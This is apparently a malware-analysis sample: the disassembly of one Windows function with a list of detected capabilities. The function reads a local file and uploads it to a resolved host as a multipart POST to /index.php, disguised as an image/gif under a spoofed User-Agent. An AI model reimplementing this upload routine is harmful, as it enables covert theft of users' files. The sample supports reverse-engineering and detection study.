Function at 0x4011b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Reference http user-agent string
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x302c
call fcn.004023e0
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push 0x40318c
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40151e
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov ebx, eax
mov dword [ebp - 0x3028], ebx
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x40151e
push 0x2710
lea eax, [ebp - 0x3000]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x8f0]
push 0x3e8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x3024], 0
lea eax, [ebp - 0x3024]
mov dword [ebp - 0x3020], 0
xorps xmm0, xmm0
mov dword [ebp - 0x301c], 0
movlpd qword [ebp - 0x3010], xmm0
push eax
lea eax, [ebp - 0x3020]
movlpd qword [ebp - 0x3008], xmm0
push eax
push 0x403178
mov dword [ebp - 0x3018], 1
mov dword [ebp - 0x3014], 6
call fcn.00401090
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40151e
mov eax, dword [ebp - 0x3024]
cmp dword [eax + 4], 2
jne 0x40151e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40151e
mov ecx, dword [ebp - 0x3024]
push dword [ecx + 0x10]
push dword [ecx + 0x18]
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401313
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error:__08X._r_n
call fcn.00401010
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401748
mov esp, ebp
pop ebp
ret
push 0x5c
push edi
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
inc eax
push str.POST__index.php_HTTP_1.1_r_nHost:
mov dword [ebp - 0x3024], eax
lea eax, [ebp - 0x3000]
push 0x2710
push eax
call esi
add esp, 0x14
call fcn.00401090
push eax
lea eax, [ebp - 0x3000]
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3000]
push str._r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:63.0__Gecko_20100101_python_requests_63.0_r_n
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3000]
push str.Content_Type:_multipart_form_data__boundary___________________________41184676334_r_n
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x70]
push 0x64
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [ebp - 0x3024]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a0
mov eax, dword [ebp - 0x3028]
sub ecx, edx
add eax, 0x115
add eax, ecx
push eax
push str.Content_Length:__d_r_n
lea eax, [ebp - 0x70]
push 0x64
push eax
call fcn.00401050
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x3000]
push 0x2710
push eax
call esi
add esp, 0x1c
lea eax, [ebp - 0x3000]
push str.Connection:_close_r_n_r_n
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3000]
push str._____________________________41184676334_r_n
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3000]
push str.Content_Disposition:_form_data__name_file___filename_
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3000]
push dword [ebp - 0x3024]
push 0x2710
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3000]
push str.__r_nContent_Type:_image_gif_r_n_r_n
push 0x2710
push eax
call esi
lea ecx, [ebp - 0x3000]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401454
mov esi, dword [sym.imp.WS2_32.dll_send]
lea eax, [ebp - 0x3000]
push 0
sub ecx, edx
push ecx
push eax
push ebx
call esi
push 0x40318c
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push 0x400
mov edi, eax
lea eax, [ebp - 0x508]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x14
lea eax, [ebp - 0x508]
push edi
push 0x400
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x4014d9
push 0
push eax
lea eax, [ebp - 0x508]
push eax
push ebx
call esi
push edi
push 0x400
lea eax, [ebp - 0x508]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jne 0x4014b0
mov ecx, 0x25
lea edi, [ebp - 0x108]
mov esi, str._r_n_____________________________41184676334_r_n_r_nContent_Disposition:_form_data__name_submit__r_n_r_nUpload_r_n_____________________________41184676334___r_n_r_n
lea eax, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0
push 0x96
push eax
push ebx
movsw word es:[edi], word [esi]
call dword [sym.imp.WS2_32.dll_send]
push 0
push 0x3e8
lea eax, [ebp - 0x8f0]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401748
mov esp, ebp
pop ebp
ret